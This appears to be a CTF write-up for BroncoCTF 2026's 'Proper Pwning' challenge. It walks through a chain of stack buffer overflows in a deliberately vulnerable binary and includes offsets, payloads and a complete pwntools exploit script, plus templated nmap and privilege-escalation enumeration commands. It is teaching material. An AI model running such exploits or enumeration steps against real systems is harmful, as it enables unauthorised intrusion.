← Back to Writeups
HTBN/APwn

Proper Pwning

XESXOR8/23/20265 min read
#pwn#htb#n/a

Proper Pwning

Platform: Broncoctf2026 | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-11 | Status: Solved Techniques: adjacent_local_overwrite, chained_payloads, magic_value_overwrite, ret2win, stack_alignment_ret_gadget

Summary

Task: tutorial pwn with 4 stages, each reading via unbounded gets() into a stack buffer guarded by volatile sentinels. Solution: overwrite adjacent local sentinels to pass gates 1-3 (preserving a second sentinel at exactly 41), then classic ret2win in the treasure room using disassembly-derived physical offsets rather than source declaration order.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: broncoctf2026 | ID: 20260711_broncoctf2026_proper_pwning
  • Tags: stack_overflow, gets, adjacent_variable_overwrite, ret2win, no_pie, no_canary
  • Indicators: gets() into stack buffer, volatile int gate sentinel, no stack canary, no PIE (base 0x400000), win() calls system(/bin/cat flag.txt)
  • Source: 20260711_broncoctf2026_proper_pwning.md

Foothold

Vulnerability / Misconfiguration

  1. Adjacent_local_overwrite
  2. Chained_payloads
  3. Magic_value_overwrite
  4. Ret2win
  5. Stack_alignment_ret_gadget
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • adjacent_local_overwrite
  • chained_payloads
  • magic_value_overwrite
  • ret2win
  • stack_alignment_ret_gadget
  • Tags: stack_overflow, gets, adjacent_variable_overwrite, ret2win, no_pie, no_canary

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Have you read the Pwntorial? Ready to graduate from baby pwns? This should do it. Three gates and a treasure room await your input.

A tutorial-style stack overflow chain. main() calls four functions in sequence: gate1 -> gate2 -> gate3 -> treasure_room. Each reads input with unbounded gets() into a stack buffer, and each gate checks one or two "sentinel" local variables that we must corrupt to specific values. The final treasure_room is a straightforward ret2win.

Remote: nc 0.cloud.chals.io 21543

Binary properties

ELF 64-bit x86-64, dynamically linked, not stripped
No PIE            (base 0x400000)
No stack canary
Executable stack  (-z execstack), NX off, RWX segments
Partial RELRO
Ubuntu 22.04, glibc 2.34
gcc proper.c -o proper -fno-stack-protector -z execstack -no-pie

win() at 0x40123b prints a message, runs system("/bin/cat flag.txt"), then exit(0). No PIE and no canary make this pure offset arithmetic.

Key insight

The source declaration order of locals is not the physical stack layout. GCC reorders locals, so the offset from the buffer to each sentinel must be read from the disassembly (objdump -d / gdb), not guessed from the C source. Every gate offset below was derived from the actual rbp-0x... references.

Analysis — gate by gate

gate1 — flip a single gate sentinel

int buffer[64];
volatile int gate = CLOSED;   // 0
gets(buffer);
// require gate != 0

Disassembly: buffer at rbp-0x110, gate at rbp-0x4. Offset to gate = 0x110 - 0x4 = 0x10c = 268.

Payload: b"A"*268 + p32(1)

gate2 — flip gate while keeping a second sentinel ALIVE

long buffer[64];
volatile int gate = CLOSED;         // 0
volatile int baby_chicken = ALIVE;  // 41
gets(buffer);
// require baby_chicken == 41 AND gate != 0

Disassembly: buffer at rbp-0x210, baby_chicken at rbp-0x8 (offset 520), gate at rbp-0x4 (offset 524). The overflow marches through baby_chicken, so we must rewrite it with exactly 41 to keep it ALIVE, then set gate.

Payload: b"B"*520 + p32(41) + p32(1)

gate3 — magic-value overwrite

char buffer[67];
volatile int gate = CLOSED;   // 0
gets(buffer);
// require gate == 13371337   (0x00cc07c9)
// on success prints win() address

Disassembly: buffer at rbp-0x50, gate at rbp-0x4. Offset = 0x50 - 0x4 = 0x4c = 76. 13371337 = 0x00cc07c9. The little-endian bytes are c9 07 cc 00 — the trailing NUL byte is fine because gets() only stops on a newline, not on NUL.

Payload: b"C"*76 + p32(13371337)

treasure_room — classic ret2win

char buffer[6767];
gets(buffer);

Disassembly: buffer at rbp-0x1a70, saved RIP at rbp+8. Offset to saved RIP = 0x1a70 + 8 = 0x1a78 = 6776.

We overwrite the saved return address with win. Because glibc 2.34 uses movaps (which faults on a misaligned stack), we prepend a bare ret gadget (0x40123a) to realign the stack to 16 bytes before entering win. On this image a direct win also worked, but the aligned chain is the robust, ABI-correct approach.

Payload: b"D"*6776 + p64(0x40123a) + p64(0x40123b)
         #            ret gadget       win

Solution

Send the four payloads sequentially with sendline (each gets() consumes one newline-terminated line), then read the flag.

#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF("./proper", checksec=False)
context.arch = "amd64"

HOST = args.HOST or "0.cloud.chals.io"
PORT = int(args.PORT or 21543)

WIN = elf.sym.win   # 0x40123b
RET = 0x40123a      # ret gadget for 16-byte stack alignment

io = remote(HOST, PORT)

gate1    = b"A"*268  + p32(1)
gate2    = b"B"*520  + p32(41) + p32(1)
gate3    = b"C"*76   + p32(13371337)
treasure = b"D"*6776 + p64(RET) + p64(WIN)

for payload in (gate1, gate2, gate3, treasure):
    io.sendline(payload)

print(io.recvall(timeout=5).decode(errors="replace"))

Per-stage payload summary:

StageBuffer offsetSentinel(s) writtenPayload
gate1268gate = 1A*268 + p32(1)
gate2520 / 524baby_chicken = 41, gate = 1B*520 + p32(41) + p32(1)
gate376gate = 0x00cc07c9C*76 + p32(13371337)
treasure6776saved RIP = win (via ret)D*6776 + p64(RET) + p64(WIN)
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR